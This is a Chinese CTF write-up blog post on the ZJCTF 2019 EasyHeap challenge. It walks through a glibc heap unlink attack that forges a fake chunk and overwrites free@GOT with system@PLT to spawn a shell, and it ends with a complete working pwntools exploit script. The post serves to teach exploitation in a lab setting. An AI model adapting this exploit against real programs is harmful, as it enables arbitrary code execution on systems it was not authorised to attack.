ZJCTF_2019_EasyHeap-unlink

D0wnBe@t Lv4

[ZJCTF_2019]EasyHeap-unlink

题目链接

初次分析

  • 刚开始ida一看,以为和之前的题目一样,就是简单的修改unsortedbin->bk,然后getflag
  • 之前的题目讲解:[BUUCTF hitcontraining_magicheap–Unsorted_bin->bk修改]3-CSDN博客

  • l33r是个后门函数

  • 正常打结果却显示:

  • 所以被后门函数欺骗了!!!

正式分析

各个功能块就不展示了,可以看开头的博客。

  • 给了后门函数不可以用,但是提供了systen函数,我们要做的就是往里面传参,与上一篇博客可以说很相似了,先传入/bin/sh,修改free_got为system_plt,执行free即可
  • 那么如何修改free_got,为了实现这个功能,我们通常有double_free控制同一个chunk,但是这里free后将指针清零了,所以无疑是不可以的,那么我们可以采取unlink,关于unlink可以参考这篇文章
  • 此题的PIE也没有开,且具有heaparray地址:

常规的:

  • fd -> heaparray-0x18
  • bk -> heaparray-0x10

还有修改谁的fd,bk跟着gdb调试理解吧

gdb调试

1.

1
2
3
add(0x20,b'aaaa') # 0
add(0x80,b'bbbb') # 1
add(0x20,b'/bin/sh\x00') # 2
  • 先生成3个chunk,chunk2防止chunk1在free的时候与top_chunk合并,并且传入/bin/sh
  • 此时的堆布局如下

2.

  • unlink需要构造fake_chunk,然后uaf
  • 利用chunk0构造一个fake_chunk:
1
2
3
4
5
6
# 构造fake_chunk
payload = p64(0) + p64(0x21) + p64(heaparray-0x18)+p64(heaparray-0x10)
payload += p64(0x20) + p64(0x90) # 伪造chunk0为free_chunk
edit(0,len(payload),payload)
free(1) # 0,1合并

  • 此时堆布局如下,构造的fake_chunk和chunk1合并,红框部分地址应该是main_arena+0x58

  • 查看heaparray

可以很明显的发现,修改chunk0,就是修改heaparray-0x18的值!!

3.

  • 两个地方都可以修改chunk0,那么就可以先填入free_got,然后修改成system_plt,再free(2)即可:
1
2
3
4
5
6
payload = p64(0)*3 + p64(free_got)
edit(0,len(payload),payload)
edit(0,8,p64(system_plt))

free(2)
p.interactive()
  • 第一次edit

  • 第二次edit,发现成功修改了

注意:

这里有点像非栈上格式化字符串漏洞一样了,先建立A -> B ->C的结构,然后修改A其实是修改C

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(arch='amd64',log_level='debug')

p = process("./pwn")
#p = remote("node5.buuoj.cn",28478)

elf = ELF("./pwn")

def bug():
gdb.attach(p)
pause()

def choice(idx):
p.sendlineafter("Your choice :",str(idx))

def add(size,content):
choice(1)
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap:",content)

def edit(idx,size,content):
choice(2)
p.sendlineafter("Index :",str(idx))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap : ",content)

def free(idx):
choice(3)
p.sendlineafter("Index :",str(idx))


# 修改free_got -> system_plt
magic = 0x6020C0
heaparray = 0x6020E0
free_got = elf.got['free']
system_plt = elf.plt['system']

add(0x20,b'aaaa') # 0
add(0x80,b'bbbb') # 1
add(0x20,b'/bin/sh\x00') # 2
bug()
# 构造fake_chunk
payload = p64(0) + p64(0x21) + p64(heaparray-0x18)+p64(heaparray-0x10)
payload += p64(0x20) + p64(0x90)
edit(0,len(payload),payload)
free(1) # 0,1合并


payload = p64(0)*3 + p64(free_got)
edit(0,len(payload),payload)
edit(0,8,p64(system_plt))

free(2)
p.interactive()
  • 标题: ZJCTF_2019_EasyHeap-unlink
  • 作者: D0wnBe@t
  • 创建于 : 2024-09-01 20:11:11
  • 更新于 : 2024-11-06 13:10:04
  • 链接: http://downbeat.top/2024/09/01/ZJCTF-2019-EasyHeap-unlink/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论